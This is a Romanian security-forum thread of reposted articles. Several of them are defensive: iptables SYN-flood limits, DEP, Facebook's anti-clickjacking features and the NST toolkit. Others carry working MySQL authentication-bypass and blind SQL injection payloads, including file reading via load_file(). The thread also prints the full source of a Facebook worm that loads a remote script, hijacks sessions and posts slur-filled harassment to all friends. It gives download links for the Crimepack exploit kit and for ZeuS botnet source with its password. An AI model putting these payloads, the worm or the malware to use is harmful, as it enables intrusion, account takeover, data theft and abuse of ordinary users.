Nytro

MySQL Authentication Bypass I used this trick already to circumvent the PHPIDS filters in some earlier versions and mentioned it shortly in my article about MySQL Syntax. However when I used the same trick to circumvent the GreenSQL database firewall I noticed that this MySQL “bug” is not well known and so I decided to shortly write about it. Take a look at the following unsecure SQL query: SELECT * FROM table WHERE username = ‘$username‘ and password = ‘$password‘ Everyone knows about the simple authentication bypass using ‘ OR 1=1/* as username or perhaps ‘ OR 1=’1 for both inputs. But what MySQL allows too is a direct comparisons of 2 strings: SELECT * FROM table WHERE username = ‘string’='string‘ and password = ‘string’='string‘ Therefore you dont need any Operators like “OR” which are mostly detected by filters. To shorten your vector you can also use an emtpy string, narrowing your SQL injection to: username: ‘=’ password: ‘=’ Which ends in: SELECT * FROM table WHERE username = ‘‘=’‘ and password = ‘‘=’‘ and successfully bypasses authentication on MySQL. Of course you can use other operators then “equal” and use whitespaces and prefixes to build more complex vectors to circumvent filters. Please refer to the MySQL syntax article. I have also tested this behavior on MSSQL, PostgreSQL and Oracle which does not have the same behavior. What MySQL seems to allow is a triple comparison in a WHERE clause. That means you can use: SELECT * FROM users WHERE 1=1=1 SELECT * FROM users WHERE ‘a’='a’='a’ Interestingly the following queries also work: SELECT * FROM users WHERE ‘a’='b’='c’ SELECT * FROM users WHERE column=’b'=’c’ SELECT * FROM users WHERE column=column=1 That means if you compare strings it doesnt matter if they are equal and it seems like if you compare columns with Strings or Integers they will get typecasted. Lastly I would like to recommend a great article from Stefan Esser about another authentication bypass on MySQL. Updated: MySQL does not consider this as a bug. Please refer to the bugreport for detailed information. Again this shows how flexible the MySQL syntax is (intentionally). Sursa: MySQL Authentication Bypass « Reiners’ Weblog

Blind SQL injection with load_file() Currently I am working a lot on RIPS but here is a small blogpost about a technique I thought about lately and wanted to share. While participating at the smpCTF I came across a blind SQL injection in level 2. After solving the challenge I checked for the FILE privilege: /level2/?id=1/**/and/**/(SELECT/**/is_grantable/**/FROM/**/information_schema.user_privileges/**/WHERE/**/privilege_type=0x66696C65/**/AND/**/grantee/**/like/**/0x25726F6F7425/**/limit/**/1)=0x59 Luckily the FILE privilege was granted which was not intended by the organizer. Since I had not solved level 1 at that time I thought it would be easier to read the PHP files to solve level 1. First I checked if reading files with load_file() worked at all and tried to read /etc/passwd: /level2/?id=1/**/and/**/!isnull(load_file(2F6574632F706173737764)) Since the webpage with id=1 was displayed the and condition must have been evaluated to true which means that the file could be read (load_file() returns null if the file can not be read). Before reading the PHP files I needed to find the webserver configuration file to find out where the DocumentRoot was configured. I used the same query as above to check for the existence of the following apache config files: $paths = array( "/etc/passwd", "/etc/init.d/apache/httpd.conf", "/etc/init.d/apache2/httpd.conf", "/etc/httpd/httpd.conf", "/etc/httpd/conf/httpd.conf", "/etc/apache/apache.conf", "/etc/apache/httpd.conf", "/etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/local/apache2/conf/httpd.conf", "/usr/local/apache/conf/httpd.conf", "/opt/apache/conf/httpd.conf", "/home/apache/httpd.conf", "/home/apache/conf/httpd.conf", "/etc/apache2/sites-available/default", "/etc/apache2/vhosts.d/default_vhost.include"); Update: There is an official list for Apache. Very useful. Webpage with id=1 was displayed for the file /etc/httpd/httpd.conf thus revealing that this file existed and could be read. Now it was time for the tricky part: I had only a true/false blind SQL injection which means that I could only bruteforce the configuration file char by char. Since the length of the file was more than 10000 chars this would have taken way too long. I decided to give little shots at the configuration file trying to hit the DocumentRoot setting or a comment nearby that identifies my current position. Each shot bruteforced 10 alphanumerical characters: /level2/?id=1/**/and/**/mid(lower(load_file(0x2F6574632F68747470642F68747470642E636F6E66)),$k,1)=0x$char I compared the few bruteforced characters to a known apache configuration file trying to map the characters to a common configuration comment. This worked for most of the character sequences but unfortunately almost every configuration file is a bit different so that it was not possible to calculate the correct offset of the DocumentRoot setting once another setting had been identified. I bruteforced only alphanumerical strings to save time. For example the bruteforced string “dulesthoselisted” could be mapped to the comment “modules (those listed by `httpd -l’)” and so on. After the 10th shot I luckily hit the DocumentRoot setting comment at offset 7467 and after this it was possible to calculate the correct offset for the beginning of the DocumentRoot setting and I could retrieve “srvhttpdhtdocs” (DocumentRoot: /srv/httpd/htdocs/). While that worked fine during the hectics of the CTF and was better than a bruteforce on the whole configuration file, I thought about it again yesterday and thought that this technique was plain stupid . If you know what you are looking for in a file (and mostly you do) you can easily find the correct offset with LOCATE(substr,str[,pos]) which will return the offset of a given substring found in a string. The following query instantly returns the next 10 characters after the DocumentRoot setting: substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10) and can then be bruteforced easily: mid(lower(substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)),$k,1)=0x$char No magic here, but a helpful combination of mysql build in functions when reading files blindly. Sursa: Blind SQL injection with load_file() « Reiners’ Weblog

Facebook Rolls Out Login Approvals and Security Protections Against Clickjacking and Self-XSS May 13th, 2011 By Josh Constine Facebook has released several new security features designed to thwart unauthorized logins, cross-site scripting, and clickjacking that trick users into sharing spam to the news feed. Login approvals require suspicious logins to be confirmed with a code texted to a user’s phone, while self-XSS and clickjacking protection warns users and requires them to confirm their actions when pasting links into their browser or clicking suspicious Like buttons. These protections should reduce the prevalence of hijacked accounts and highly visible spam in the news feed that perpetuate the public perception of Facebook as less safe than the rest of the internet. Facebook’s latest internal security efforts were announced alongside a new partnership with Web of Trust, a a crowd-sourced website reputation rating service that will be used to power alerts to Facebook users when they click malicious outbound links. Facebook has previously concentrated on improving security through user education and login protection features such as remote session logout and one-time passwords. Login Approvals Now Facebook is rolling out the two-factor authentication it announced last month. Users can visit Account -> Account Settings -> Settings -> Account Security to enable the feature, which will require them to verify their phone number. Once enabled, any time someone attempts to login to the account through a new or unrecognized device, they’ll have to enter a code sent to their phone via SMS. Users will also be notified the next time the successfully login of any suspicious attempts thwarted by the login approvals feature. Users could be temporarily locked out of their account if they have Login Approvals in the unlikely event that both their phone and their approved Facebook login device were lost or stolen. Still, the feature offers a strong additional layer of security for those who opt in to it. It can also serve to protect users who may share their password with a loved one for use on their regular login device, but who don’t want those people to access their account from elsewhere. Clickjacking Protection Clickjacking refers to when a malicious website conceals an active link beneath an image or other disguise to fool a user into clicking a link they didn’t intend to. In the case of Facebook, malicious sites sometimes conceal Like buttons beneath video players or appealing offers, leading users to inadvertently share the spam site to the news feed, drawing in more users to the scam. Facebook already has automated systems designed to identify and disable uses of the Like button for clickjack, as well as block or remove outbound links to clickjacking sites. Now Facebook as added additional protection against the tactic by requiring users to confirm they wanted to click a Like button that is suspected to be part of a clickjacking scheme. The Like won’t go through and stories won’t be published to the news feed unless the user confirms. This feature could cut down on one of the most prominent Facebook security threats as of late, which has spread through links that promise videos of racy or gruesome content. Self-XSS Protection Self-cross site scripting is a security threat in which a spam news feed story, wall posts, or Message asks users to copy malicious code into their browser, thereby causing a hacker’s message to be posted to additional friends. These threats are becoming increasingly sophisticated over the years (if you want to get deeper into the topic, be sure to check out security researcher Joey Tyson’s Social Hacking blog). The new security features detects when users attempt to paste malicious code into their browser, displays an alert explaining why the practice of copying code into a browser is dangerous, and prevents the code from being run. By mixing education in with technical security features, Facebook can protect users now and teach them to protect themselves in the future. Sursa: Facebook Rolls Out Login Approvals and Security Protections Against Clickjacking and Self-XSS

Optimized Blind MySQL Injection Data Retrieval Posted on March 31, 2011 by Roberto Salgado I recently came across a paper titled Faster Blind MySQL Injection Using Bit Shifting by Jelmer de Hen describing a technique that allows the retrieval of data from a MySQL database in only 8 requests per character using bit shifting; this is a slight improvement from the traditional Bisection method. This got me thinking on how information could be extracted from the database in even less amount of requests and after a few hours of fooling around, this is what I came up with. AND (SELECT @a:=MID(BIN(FIND_IN_SET(MID(table_name,1,1), 'a,b,c,d,e,f ,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#, $,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),1,1) FROM in formation_schema.tables LIMIT 1)=@a AND IF(@a!='',@a,SLEEP(5)); A quick explanation of how this query works and what it does: It starts off with your basic blind injection, selecting only 1 character at a time from the table SELECT MID(table_name,1,1) FROM information_schema.tables LIMIT 1 It then uses FIND_IN_SET(), to look for the position of the extracted character in the list. So for example, say the table is CHARACTER_SET, MID("CHARACTER_SET",1,1) = 'C', therefore the returned value for FIND_IN_SET('C', 'a,b,c') would be 3 (case insensitive). We then proceed to use BIN() to convert it to binary, BIN(3) = 11. Now that we've reduced the character to two possibilities, 1 or 0, we only have to check if the result is 1, if not we can assume it's 0. So BIN(3) = 11 would take 3 requests: Is the first digit 1? Yes. Is the second digit 1? Yes. Is the third digit 1? No, there is no third digit, so it triggers the SLEEP() function. Now we know that CAST(b'11' AS DEC) is 3 and that's the equivalent of 'c' on the list, all in 3 requests! Say your list contained 45 elements, BIN(45) = 101101, still only making the total amount of requests 7 for characters in later position on the list. I'm sure this could be optimized and greatly improved, possibly by removing the need for FIND_IN_SET() and using a more effective function. One idea would be to split the list in two requests, this way you can ensure the length of the binary doesn't grow too big. Downside: Query can be a bit longer than normal. Requires SLEEP() to know when you've reached the end of the binary. Another possible solution that doesn't require SLEEP(), but would require two different pages (test.php?id=0, test.php?id=1) could be done with something like this: IF((@a:=MID(BIN(FIND_IN_SET(MID((SELECT table_name FROM info rmation_schema.tables LIMIT 1),1,1),'a,b,c,d,e,f,g,h,i,j,k,l, m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#,$,%,^,&, *,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ')),1,1))!='',@a,0/0); UPDATE: Two things I just thought I should point out: This technique doesn't necessarily require FIND_IN_SET(). There are plenty of other similar functions that could be substituted in its place (locate, position, instr, field) just to name a few. Secondly, the use of quotations can be avoided. For example, FIND_IN_SET(0x33, CONCAT_WS(0x2C,0x31,0x32,0x33)); Sursa: Optimized Blind MySQL Injection Data Retrieval

Linux Iptables Limit the number of incoming tcp connection / syn-flood attacks by LinuxTitli on June 26, 2005 A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system. This is a well known type of attack and is generally not effective against modern networks. It works if a server allocates resources after receiving a SYN, but before it has received the ACK. if Half-open connections bind resources on the server, it may be possible to take up all these resources by flooding the server with SYN messages. Syn flood is common attack and it can be block with following iptables rules: iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j RETURN All incoming connection are allowed till limit is reached: --limit 1/s: Maximum average matching rate in seconds --limit-burst 3: Maximum initial number of packets to match Open our iptables script, add the rules as follows: # Limit the number of incoming tcp connections # Interface 0 incoming syn-flood protection iptables -N syn_flood iptables -A INPUT -p tcp --syn -j syn_flood iptables -A syn_flood -m limit --limit 1/s --limit-burst 3 -j RETURN iptables -A syn_flood -j DROP #Limiting the incoming icmp ping request: iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 1 -j ACCEPT iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 1 -j LOG --log-prefix PING-DROP: iptables -A INPUT -p icmp -j DROP iptables -A OUTPUT -p icmp -j ACCEPT First rule will accept ping connections to 1 per second, with an initial burst of 1. If this level crossed it will log the packet with PING-DROP in /var/log/message file. Third rule will drop packet if it tries to cross this limit. Fourth and final rule will allow you to use the continue established ping request of existing connection. Where, ??limit rate: Maximum average matching rate: specified as a number, with an optional ‘/second’, ‘/minute’, ‘/hour’, or ‘/day’ suffix; the default is 3/hour. ??limit?burst number: Maximum initial number of packets to match: this number gets recharged by one every time the limit specified above is not reached, up to this number; the default is 5. You need to adjust the –limit-rate and –limit-burst according to your network traffic and requirements. Let us assume that you need to limit incoming connection to ssh server (port 22) no more than 10 connections in a 10 minute: iptables -I INPUT -p tcp -s 0/0 -d $SERVER_IP --sport 513:65535 --dport 22 -m state --state NEW,ESTABLISHED -m recent --set -j ACCEPT iptables -I INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 600 --hitcount 11 -j DROP iptables -A OUTPUT -p tcp -s $SERVER_IP -d 0/0 --sport 22 --dport 513:65535 -m state --state ESTABLISHED -j ACCEPT Sursa: Linux Iptables Limit the number of incoming tcp connection / syn-flood attacks

Nu l-am testat, nu ma pasioneaza astfel de lucruri. Aveti grija, e posibil sa fie fisiere infectate.

Data Execution Prevention (DEP) Systems and Network Analysis Center Information Assurance Directorate Computer attackers commonly use buffer overflow exploits to gain access to computer systems. Many of these malicious code exploits can be prevented with Data Execution Prevention (DEP), a security feature available in modern operating systems. DEP provides protection for all memory that is not specifically marked as executable code. This guide discusses how to configure and enable DEP. Download: http://www.nsa.gov/ia/_files/factsheets/I733-TR-043R-2007.pdf

Da, e interesanta ideea. Dar proiectul in sine ar fi destul de complicat. Trebuie selectate elegant calculatoarele care vor crackui md5-urile (initial ar fi de ajuns), trebuie luate in considerare toate posibilitatile: daca un calculator trebuie sa faca 1.000.000 de incercari si face decat una? Daca se intrerupe conexiunea apoi revine? Ar fi ceva de munca.

Script that gives hackers access to user accounts floods Facebook A widespread hack spread across Facebook early Thursday morning and shows no signs of abating as of yet. It comes in the form of a script that posts heavily profanity-laden wall posts continuously, instructing you that the only way to remove the posts is to click a ‘Remove This App’ link. Unfortunately the link is a hoax and allows the malicious script to access your Facebook account. Your account will then continue to spread the script in the form of similarly formatted wall posts on your friends accounts. The message uses the phrase ‘Vote for Nicole Santos’, leading some to believe that it is a high school prank related to Prom season. Here is a link (Fuck you faggot. Go kill yourself. Vote for Nicole Santos. I hate you and the only way to remove all these posts is by disabling this below. - Pastebin.com) to the raw code of the script causing the problems on Facebook. If any of you commenters have any suggestions as to how this might have been injected in the first place please do let us know. Script: var message = "Fuck you faggot. Go kill yourself. Vote for Nicole Santos. I hate you and the only way to remove all these posts is by disabling this below."; var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; var myText = "Remove This App"; var post_form_id = document.getElementsByName('post_form_id')[0].value; var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false); gf.send(); if(gf.readyState!=4){ }else{ data = eval('(' + gf.responseText.substr(9) + ')'); if(data.error){ }else{ friends = data.payload.entries.sort(function(a,{return a.index-b.index;}); } } for(var i=0; i<friends.length; i++){ var httpwp = new XMLHttpRequest(); var urlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1"; var paramswp = "&__d=1&app_id=6628568379&extern=0&" + "&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) + "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) + "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid + "&user_message=" + message; httpwp.open("POST", urlwp, true); httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httpwp.setRequestHeader("Content-length", paramswp.length); httpwp.setRequestHeader("Connection", "keep-alive"); httpwp.onreadystatechange = function(){ if (httpwp.readyState == 4 && httpwp.status == 200){ } } httpwp.send(paramswp); } alert("Failed to remove. Go fuck yourself with a cactus."); document.location = "profile.php?id=100000583908715"; Unsurprisingly many are trying to trace the source back to the ‘Nicole Santos’ that may have originated it, although it’s unclear whether this person would be the originator or just a victim of the hack. As of now the only solution seems to be not to click on the link or any link requiring that you ‘Verify you account to prevent spam’ as this may be how the hack gains access to your Facebook wall in the first place. Simply block the friend sending it to you as their account is now compromised. Once the problem has been fixed by Facebook you can re-enable them. We will continue to update you on the hack and it’s effects, check back with this post for more information Sursa: Script that gives hackers access to user accounts floods Facebook ! ~ THN : The Hackers News

Crimepack 3.1.3 Exploit kit Crimepack 3.1.3 Exploit kit Leaked, available for Download ! Part 1: Java Exploit As stated above, I focus on a malware that exploits a recent JRE vulnerability: CVE-2010-0840 to execute malicious files on a victim system. This malware comes inside a jar file, which contains the following two classes: Crimepack.class and KAVS.class. Part 1.1: Crimepack.class This class is the engine of the malware, it is obfuscated, but you can quickly strip off the obfuscation (my python beta tool is great…), once you get rid of the obfuscation you can see the following code: As always, we have an Applet that access to the data parameter, generates a random name for the exe payload that will be dropped in the system temp directory and then executed. So at this point as you can see we have nothing new, the above is a common Java downloader… but let’s scroll down: Above, we can see that the malware is creating a new instance of the KAVS class (description follows), in order to trigger the JRE vulnerability by using a call to the getValue() method (..snipped above..). Part 1.2: KAVS.class Here is the hand-crafted class, I say hand-crafted because such class cannot be compiled by using a standard compiler, so you have to edit the compiled class by editing the bytecode: Part 2: PDF-generator on demand The kit contains a nice php script that drops custom pdf on-demand, which means that you can have several mutations of the same piece of malware, by simply connecting to a malicious link. Download: http://www.multiupload.com/3HGKHWMRS5 Sursa: Crimepack 3.1.3 Exploit kit Leaked, available for Download ! ~ THN : The Hackers News Alternativ: http://www.speedyshare.com/files/28425214/Crimepack_3.1.3.zip http://www.megaupload.com/?d=THZ8OW23

Assembley lanugage for Penetration Testers Assembley lanugage for Penetration tester Below are the useful resources to learn Assembley Language for pentesters to start learning Exploit writing Assembly - SkullSecurity Linux Assembley Linux Assembly Programming From the Ground Up Index of /releases/pgubook Iczelion’s Win32 Assembly Homepage Iczelion's Win32 Assembly Homepage Art of Assembly Art of Assembly Language Programming and HLA by Randall Hyde first 5 chapters is enough Intel Developer Manuals Intel® 64 and IA-32 Architectures Software Developer's Manuals Assembly Language Primer for Hackers Videos Assembly Primer for Hackers (Part 1) System Organization Assembly Primer For Hackers (Part 1) System Organization Assembly Primer for Hackers (Part 2) Virtual Memory Organization Assembly Primer For Hackers (Part 2) Virtual Memory Organization Assembly Primer for Hackers (Part 3) GDB Usage Primer Assembly Primer For Hackers (Part 3) Gdb Usage Primer Assembly Primer for Hackers (Part 4) Hello World Assembly Primer For Hackers (Part 4) Hello World Assembly Primer for Hackers (Part 5) Data Types Assembly Primer For Hackers (Part 5) Data Types Assembly Primer for Hackers (Part 6) Moving Data Assembly Primer For Hackers (Part 6) Moving Data Assembly Primer for Hackers (Part 7) Working with Strings Assembly Primer For Hackers (Part 7) Working With Strings Assembly Primer For Hackers (Part 8) Unconditional Branching Assembly Primer for Hackers (Part 9) Conditional Branching Assembly Primer For Hackers (Part 9) Conditional Branching Assembly Primer for Hackers (Part 10) Functions Assembly Primer For Hackers (Part 10) Functions Assembly Primer for Hackers (Part 11) Functions Stack Assembly Primer For Hackers (Part 11) Functions Stack Sursa: Assembley Language | Life of a Penetration Tester

Sa decripteze sau sa crack-uiasca hash-uri ca md5?

Eu o sa ajung pe la 8.

Se incearca gasirea autorului in functie de modul in care acesta scrie codul. Se pare ca e profesionist, desigur... http://www.thehackernews.com/2011/05/fingerprinting-author-of-zeus-botnet.html

Niciuna. Sunt prezentate niste extensii ale compilatorului GCC care fac viata mai usoara. Citeste macar o parte din articol. De exemplu sa definesti "1 ... 10" care sa reprezinte orice numar de la 1 la 10. Asta nu se poate in Visual C++ de exemplu si NU face parte din standardul C!

nytro@rst:~$ ls -la /var/log/auth.log -rw-r--r-- 1 syslog adm 1516 2011-05-12 17:20 /var/log/auth.log Vad ca e "citibil" de catre oricine...

GCC hacks in the Linux kernel Discover GCC extensions for the C language Skill Level: Intermediate M. Tim Jones Consultant Engineer Emulex Corp 18 Nov 2008 The Linux® kernel uses several special capabilities of the GNU Compiler Collection (GCC) suite. These capabilities range from giving you shortcuts and simplifications to providing the compiler with hints for optimization. Discover some of these special GCC features and learn how to use them in the Linux kernel. GCC and Linux are a great pair. Although they are independent pieces of software, Linux is totally dependent on GCC to enable it on new architectures. Linux further exploits features in GCC, called extensions, for greater functionality and optimization. This article explores many of these important extensions and shows you how they're used within the Linux kernel. GCC in its current stable version (version 4.3.2) supports three versions of the C standard: • The original International Organization for Standardization (ISO) standard of the C language (ISO C89 or C90) • ISO C90 with amendment 1 • The current ISO C99 (the default standard that GCC uses and that this article assumes) Note: This article assumes that you are using the ISO C99 standard. If you specify a standard older than the ISO C99 version, some of the extensions described in this article may be disabled. To specify the actual standard that GCC uses, you can use the -std option from the command line. Use the GCC manual to verify which extensions are supported in which versions of the standard (see Resources for a link). Applicable versions This article focuses on the use of GCC extensions in the 2.6.27.1 Linux kernel and version 4.3.2 of GCC. Each C extension refers to the file in the Linux kernel source where the example can be found. The available C extensions can be classified in several ways. This article puts them in two broad categories: • Functionality extensions bring new capabilities from GCC. • Optimization extensions help you generate more efficient code. Download: http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux/l-gcc-hacks/l-gcc-hacks-pdf.pdf Online: http://www.ibm.com/developerworks/linux/library/l-gcc-hacks/index.html

Slackware 13.37 It's true! Slackware 13.37 has been released. Nearly a year in the making, you will appreciate the performance and stability that can only come with careful and rigorous testing. Slackware 13.37 uses the 2.6.37.6 Linux kernel (hence our new $SLACKWARE_VERSION.$KERNEL_VERSION naming system used for this release ;-), and also ships with 2.6.38.4 kernels for those who want to run the latest (and also includes configuration files for 2.6.35.12 and 2.6.39-rc4). The long-awaited Firefox 4.0 web browser is included, the X Window System has been upgraded (and includes the open source nouveau driver for nVidia cards). The venerable Slackware installer has been improved as well, with support for installing to btrfs (for those who would like to try a new copy on write filesystem), a one-package-per-line display mode option, and alienBOB's big surprise: an easy to set up PXE install server that runs right off the DVD! More details may by found in the official announcement and in the release notes. For a complete list of included packages, see the package list. Please consider supporting the Slackware project by picking up a copy of the Slackware 13.37 release from the Slackware Store. The discs are off to replication, but we're accepting pre-orders for the official 6 CD set and the DVD. The CD set is the 32-bit x86 release, while the DVD is a dual-sided disc with the 32-bit x86 release on one side and the 64-bit x86_64 release on the other. And, we still have T-shirts (coming soon, a limited edition 13.37 release commemorative black T-shirt with the classic Slackware logo on the front, and a "leet" LILO bootscreen on the back) and other Slackware stuff there, so have a look around. Thanks to our subscribers and supporters for keeping Slackware going all these years. Thanks are again due to the Slackware crew, the developers of slackbuilds.org, the community on linuxquestions.org, Slackware IRC channels, and everyone else who helped out with this release. Have fun, and enjoy the new stable release! Pat and the Slackware crew Oh, in case our web server that's rather short of RAM goes down, try this link: 1337 Error +--------------------------+ Slackware 13.37 for ARM is also available. For details, see: start [slackware ARM] Sursa: The Slackware Linux Project

Introduction to Network Security Toolkit (NST) The Network Security Toolkit (NST) is a ISO live CD/DVD (NST Live) based on Fedora. The toolkit was designed to provide easy access to best-of-breed Open Source Network Security Applications and should run on most x86/x86_64 platforms. The main intent of developing this toolkit was to provide the network security administrator with a comprehensive set of Open Source Network Security Tools. The majority of tools published in the article: Top 100 Security Tools by INSECURE.ORG are available in the toolkit. Some of the tools available in this live are: Ntop, wireshark, nmap with the vizualization tool ZenMap and kismet. Many tasks that can be performed within NST are available through a web interface called NST WUI. Among the tools that can be used through this interface are nmap with the vizualization tool ZenMap, ntop, a session manager for VNC, a minicom-based terminal server, serial port monitoring, and WPA PSK management. You can read some of my articles about Nmap and Ntop following the links, for Nmap you got also Zenmap. Zenmap is the official Nmap Security Scanner GUI. It is a multi-platform free and open source application which aims to make Nmap easy for beginners to use while providing advanced features for experienced Nmap users. Frequently used scans can be saved as profiles to make them easy to run repeatedly. A command creator allows interactive creation of Nmap command lines. Scan results can be saved and viewed later. Saved scan results can be compared with one another to see how they differ. The results of recent scans are stored in a searchable database. On NST are also available Nagios and Argus, 2 software that can be used for network monitoring, you can check the status of various services, like web server, pop/imap mails erver or other services that in general you can test directly with a network connection. Another feature nice, and really “scenic” is that NST includes visualization of ntop, wireshark, traceroute and kismet data by geocoding the host addresses and displaying them via Google Earth. For this NST use a custom tool: nstgeolocate — Geolocate hosts obtained from an ‘ntop’ session or Geolocate IPv4 Address conversations from a network packet capture file on a Mercator World Map projection or Global imagery. There is also a browser-based packet capture and protocol analysis system capable of monitoring up to four network interfaces using Wireshark, as well as a Snort-based intrusion detection system with a “collector” backend that stores incidents in a MySQL database. For web developers, there is also a JavaScript console with a built-in object library with functions that aid the development of dynamic web pages. A great guide on what is available on the live distro and how to use each tools it’s present of the official wiki Conclusions This live CD it’s really filled with security tools and utility, so it could be really useful to set up in few minutes a location where you can do a security audit of a network or some hosts. It’s also really interesting the option to put it on a virtual machine, on the wiki there is a good how to on how to put NST on Virtualbox. So in few words: try and use it for your security audit, you’ll be satisfied for sure. Link: http://sourceforge.net/projects/nst/ Sursa (+video): » Linuxaria Introduction to Network Security Toolkit (NST)

Practical Android Attacks Bas Alberts + Massimiliano Oldani Immunity Inc. Attack Surface ? Remote: gain access ? Browser – WebKit ? Phone – Telephony stack ? Local: elevate privileges ? Kernel – Device drivers ? Userland – Zygote, ADBd, udev, etc Download: https://www.immunityinc.com/infiltrate/presentations/Android_Attacks.odt.pdf

Local File Inclusion to Remote Command Execution using SSH May 9th, 2011 at 21:15 by lanmaster53 Log poisoning has been used for years to upgrade local file inclusion vulnerabilities to remote command execution. In most cases, web server logs are used to execute such an attack. Most admins have become wise to the technique and do a decent job of preventing this. However, an equal amount of attention is not always paid to authentication logs. I was recently attempting to exploit a LFI vulnerability on a pen test and was having no luck poisoning the web server logs. Previous scans of the target showed that an OpenSSH service was running. I took one last shot at the LFI vulnerability and below was the result. I was shocked to find that auth.log was world readable. By default, OpenSSH makes an entry (consisting of the user name and other data) to auth.log for every authentication attempt made to the ssh daemon. Knowing this, I did some quick testing and found that I could inject php code into auth.log from the user name field of an ssh client by attempting to authenticate. The command took some time to get working right as bash requires finesse for processing special characters, but after some troubleshooting, I came up with the following: One issue I encountered is that OpenSSH makes 3 entries containing the user name to auth.log for every authentication attempt. In the following example, only one authentication attempt was made, but, as you can see, it appears in the log 3 times. The injected command will run 3 times unless php execution is terminated after the 1st command. I did this above with the exit; command. The unfortunate side effect is that you have one chance to get this right. Otherwise, you have to wait until the log cycles before you can make another attempt. Here is what the final product looked like with the addition of a pre-format tag for aesthetics. Sursa: Local File Inclusion to Remote Command Execution using SSH « LaNMaSteR53.blog Simplu si eficient

NoVirusThanks File Governor Easily unlock locked files and folders. File Governor is an advanced program which allows for files and folders within the system to be unlocked so that normal file I/O operations can be completed when normally they would not be able to be due to operating system restrictions for files currently in use. Once a file or folder is unlocked you will be able to force-close the file’s handle, rename, delete etc. File Governor is compatible with the following 32-bit and 64-bit Microsoft Windows Operating Systems: Windows 2000, Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008 and Windows 7 Screenshots Features Compatible with 32 & 64 bit OS Copy File to a User-Specified Directory Explorer Context Menu No Kernel Driver Needed Rename File to a User-Specified Filename Search for Locked Files Terminate Processes Unload DLL Unlock ALL Locked Files Unlock Single File Very user-friendly GUI Download: http://downloads.novirusthanks.org/files/filegovernor_setup.exe Portable: http://downloads.novirusthanks.org/files/portables/filegovernor_portable.zip Sursa: NoVirusThanks File Governor - Anti Rootkit and Anti Malware – Security Software and Services - NoVirusThanks

Finally Source code of ZeuS Botnet Version: 2.0.8.9 available for Download ! Download: http://krash.in/real2/zeus.rar http://www.multiupload.com/P8QUNF4YJN Password: zeus Sursa: Finally Source code of ZeuS Botnet Version: 2.0.8.9 available for Download ! ~ THN : The Hackers News Alternativ: http://www.megaupload.com/?d=LTJR7DHO https://rapidshare.com/files/461898687/ZeuS_2.0.8.9.zip http://uploading.com/files/626ff4fc/ZeuS%2B2.0.8.9.zip/

Clickjacking Paper Paul Stone, a consultant at Context, has conducted research into Clickjacking and produced a white paper which was premiered at Black Hat 2010, in a talk of the same title – Next Generation Clickjacking. Clickjacking is a term first introduced by Jeremiah Grossman and Robert Hansen in 2008 to describe a technique whereby an attacker tricks a user into performing certain actions on a website by hiding clickable elements inside an invisible iframe. Although it has been two years since the concept was first introduced, most websites still have not implemented effective protection against clickjacking. In part, this may be because of the difficulty of visualising how the technique works in practice. Download: http://www.contextis.com/resources/white-papers/clickjacking/Context-Clickjacking_white_paper.pdf

Two Zero Day Flaws Used To Bypass Google Chrome Security May 10, 2011 | 02:02 PM By Kelly Jackson Higgins Dark Reading French researchers say they hacked their way out of browser's sandbox, bypassed DES and ASLR Researchers at French firm VUPEN Security yesterday posted a video of a hack they say they executed using two zero-day vulnerabilities in Google's Chrome browser that successfully bypassed its sandbox and other security features. VUPEN—which withheld technical details of the bugs in its disclosure--had not disclosed the bugs or any details to Google as of this posting. The security firm provides details of vulnerabilities it discovers to its paying government customers. "We did not publicly disclose any technical details of the vulnerabilities for security reasons. We did not send the technical details of the vulnerabilities to Google, and Google did not ask us to provide these details," says Chaouki Bekrar, CEO and head of research at VUPEN. A Google spokesperson said in a statement that without any details on the hack, the company is unable to verify it. "We're unable to verify VUPEN's claims at this time as we have not received any details from them. Should any modifications become necessary, users will be automatically updated to the latest version of Chrome," the spokesperson said. Chrome's sandbox features, which runs an application in a restricted environment to protect the system, as well as the use of ASLR and DEP, had made the browser relatively impenetrable to hackers. Adobe also uses Chrome's sandboxing technology, but VUPEN's Bekrar says Adobe's software is not vulnerable to the new hack. Bekrar says VUPEN employed two different bugs its researchers discovered: one that's exploited inside the sandbox, and one that's executed outside of it. "The first one results from a memory corruption leading to the execution of the first payload as low integrity level, inside the sandbox," he says. "A second payload is then used to exploit another vulnerability which allows the bypass of the sandbox and execution of the final payload with medium-integrity level, outside the sandbox." The exploit, demonstrated here using Chrome v11.0.696.65 on Microsoft Windows 7 SP1 (x64), with the user being lured to visit a malware-rigged web 